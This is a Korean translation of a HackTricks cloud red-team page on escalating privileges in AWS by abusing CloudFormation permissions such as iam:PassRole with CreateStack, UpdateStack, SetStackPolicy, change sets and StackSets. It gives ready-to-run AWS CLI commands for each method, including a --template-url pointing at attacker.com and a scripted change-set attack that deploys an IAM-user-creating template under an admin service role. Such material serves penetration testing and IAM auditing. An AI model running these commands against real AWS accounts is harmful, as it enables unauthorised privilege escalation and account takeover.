AWS - Cloudformation Privesc

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

cloudformation

cloudformation에 대한 자세한 정보는 다음을 확인하세요:

iam:PassRole, cloudformation:CreateStack

이 권한을 가진 공격자는 사용자 정의 템플릿을 사용하여 자신의 서버에 호스팅된 CloudFormation 스택을 생성함으로써 지정된 역할의 권한으로 작업을 실행하여 권한을 상승시킬 수 있습니다:

aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>

다음 페이지에서는 추가 권한 **cloudformation:DescribeStacks**을 사용한 악용 예제가 있습니다:

잠재적인 영향: 지정된 cloudformation 서비스 역할로의 권한 상승.

iam:PassRole, (cloudformation:UpdateStack | cloudformation:SetStackPolicy)

이 경우 이전 시나리오와 마찬가지로 기존의 cloudformation 스택을 악용하여 권한을 상승시킬 수 있습니다.

aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1

cloudformation:SetStackPolicy 권한은 스택에 대한 UpdateStack 권한을 부여하고 공격을 수행하는 데 사용될 수 있습니다.

잠재적 영향: 지정된 cloudformation 서비스 역할에 대한 권한 상승.

cloudformation:UpdateStack | cloudformation:SetStackPolicy

이 권한을 가지고 있지만 iam:PassRole 권한이 없는 경우에도 여전히 사용되는 스택을 업데이트하고 이미 연결된 IAM 역할을 악용할 수 있습니다. 이전 섹션에서 악용 예제를 확인하세요 (단, 업데이트에서 어떤 역할도 지정하지 마세요).

cloudformation:SetStackPolicy 권한은 스택에 대한 UpdateStack 권한을 부여하고 공격을 수행하는 데 사용될 수 있습니다.

잠재적 영향: 이미 연결된 cloudformation 서비스 역할에 대한 권한 상승.

iam:PassRole,((cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

역할을 전달하고 ChangeSet을 생성 및 실행할 수 있는 권한을 가진 공격자는 CreateStack 또는 UpdateStack과 마찬가지로 새로운 cloudformation 스택을 생성/업데이트하고 cloudformation 서비스 역할을 악용할 수 있습니다.

다음 악용은 ChangeSet 권한을 사용하여 스택을 생성하는 CreateStack 악용의 변형입니다.

aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1

echo "Waiting 2 mins to change the stack"
sleep 120

aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1

echo "Waiting 2 mins to execute the stack"
sleep 120

aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1

cloudformation:SetStackPolicy 권한은 스택에 대한 ChangeSet 권한을 부여하여 공격을 수행하는 데 사용될 수 있습니다.

잠재적 영향: CloudFormation 서비스 역할에 대한 권한 상승.

(cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

이전 방법과 유사하지만 IAM 역할을 전달하지 않는 방법입니다. 이미 연결된 역할을 악용할 수 있으므로 매개변수를 수정하기만 하면 됩니다.

--change-set-type UPDATE

잠재적 영향: 이미 연결된 클라우드포메이션 서비스 역할로의 권한 상승 (Privesc).

iam:PassRole,(cloudformation:CreateStackSet | cloudformation:UpdateStackSet)

공격자는 이러한 권한을 악용하여 임의의 클라우드포메이션 역할을 악용하기 위해 StackSet을 생성/업데이트할 수 있습니다.

잠재적 영향: 클라우드포메이션 서비스 역할로의 권한 상승 (Privesc).

cloudformation:UpdateStackSet

공격자는 이 권한을 사용하여 passRole 권한 없이도 연결된 클라우드포메이션 역할을 악용하기 위해 StackSet을 업데이트할 수 있습니다.

잠재적 영향: 연결된 클라우드포메이션 역할로의 권한 상승 (Privesc).

참고 자료

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

最終更新